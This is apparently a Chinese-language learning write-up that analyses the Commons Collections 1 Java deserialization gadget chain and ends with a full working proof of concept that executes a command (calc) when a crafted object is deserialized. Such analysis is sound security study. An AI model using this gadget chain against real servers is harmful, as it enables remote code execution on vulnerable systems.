Commons Collections1
#影响Commons Collections版本<=3.2.1
sink点
由于transform函数 输入的对象是object类相当于任意类 然后invoke反射调用该类的任意方法,造成调用任意类的任意方法
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
}
}
}
以上方法位于InvokerTransformer类中 使用如下代码尝试RCE
public class cc1 {
public static void main(String[] args) throws Exception{
Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
}
}
初始化时 传入的方法是exec 参数是calc
这里就 通过反射获取Runtime类然后调用exec参数是calc
Godget链
那么已知Transform方法能够RCE那么就回溯寻找到调用了Transform的类中的checksetvalue方法
这里就从TransformedMap入手吧
那么要调用checksetvalue函数,就要先通过构造方法给这个valueTransformer赋值,而valueTransformer必须是InvokerTransformer类才能进入InvokerTransformer的transform中,或者另外一个类他含有transform方法而且其transform方法可以调用InvokerTransformer的transform方法也就是ChainedTransformer这个类,这两种方法都可以。
这里看到decorate方法调用了protected的构造方法,之后就可以checksetvalue了。
再来找找有没有哪个地方调用了checksetvalue
static class MapEntry extends AbstractMapEntryDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
这里可以看到 如果有一个MapEntry的类调用了setvalue那么就可以进一步调用checkSetValue然后调用Transform尝试RCE了
再来找找哪个类调用了setvalue,那么这个类很可能就是MapEntry类或者其子类
最后找到这里,他的readobject方法里面调用了setValue方法,由于这个readobject是类名为AnnotationInvocationHandler里面的readobject,因此我们要进行反序列化RCE的话就要创建一个AnnotationInvocationHandler对象并且序列化
由于AnnotationInvocationHandler类不是public修饰的,所以需要通过反射来创建对象
Class<?> c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c1.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object o = annotationInvocationHandlerConstructor.newInstance(Target.class,transfromedMap);
这个transfromedMap和Target.class两个参数下面会讲
查看一下他的readpbject方法 type参数是一个注解类
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
/*
这两行代码定义了一个类中的两个成员变量,分别是type和memberValues。
type是一个Class类型的变量,限定了该Class必须是Annotation的子类。这个变量存储了注解的类型信息是一个注解类。
memberValues是一个Map类型的变量,存储了注解中的成员变量名和对应的值。在Java中,注解可以有成员变量,这些成员变量可以在注解中赋值。memberValues这个Map存储了这些成员变量和对应的值,可以通过成员变量的名字来获取对应的值。*/
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
this.type = type;
this.memberValues = memberValues;
}
//这是构造方法用于赋初值
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
获取给定注解类型的AnnotationType对象
annotationType = AnnotationType.getInstance(type);
获取annotationType(注解类对象)的成员 封装成Map 一组键值对
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
获取当前遍历的map的元素的key
String name = memberValue.getKey();
根据name 获取当前memberTypes的成员变量
Class<?> memberType = memberTypes.get(name);
后面有个if判断
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
要让两个判断返回true 要求 memberType != null即传入的注解类需要有成员方法 而且名字要为memberValue中的key相同
最终poc
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
map.put("value","value");
Map<Object,Object> transfromedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class<?> c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c1.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object o = annotationInvocationHandlerConstructor.newInstance(Target.class,transfromedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
return ois.readObject();
}
}
Problems||困惑
Map<Object,Object> transfromedMap = TransformedMap.decorate(map, null, chainedTransformer);
transfromedMap传入chainedTransformer是因为上文所述chainedTransformer含有transform方法而且其transform方法可以调用InvokerTransformer的transform方法
TransformedMap a = new TransformedMap(); //报错
Map<Object,Object> transfromedMap = TransformedMap.decorate(map, null, chainedTransformer);//正常
第一个报错虽然TransformedMap类是public但是其构造函数是protected,也会导致在其他包中无法直接访问,所以报错,但是第二种方法不会报错因为decorate是public
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
这里明明setvalue的值不可控为何可以成功RCE呢?
我们跟踪一下 在setvalue的时候会走到这里
他的parent父类是transformedmap,后面setvalue的也是transformedmap而value任然是我们不可控的,其实后面会发现我们压根不用管这个value它可以被覆盖
我们再来看看transformedmap的checkSetValue调用过程
前面进行了decorate
decorate调用了TransformedMap构造函数
所以是chainedTransformer调用了transform value任然是那个不可控的参数
进入chainedTransformer的transform方法看看 之前将poc中的transformers赋值给了iTransformers
所以这里 iTransformers就是chainedTransformer,而object就是之前的value是不可控的
i=0的时候 object还是不可控的那个参数
i=1之后 object就是Runtime了 就可以 transform之后 就调用反射创建了这个Runtime对象并return给下一个循环
这里iTransformers[0]需要是ConstanTransform是因为 他的transform方法返回的是其本身的iConstant而不是input
如图 即使input是那个不可控的但是iConstant是咱们可控的 所以原来的input压根没用了被覆盖了 所以i=1之后 object就是Runtime了
后面就是正常的链式调用RCE了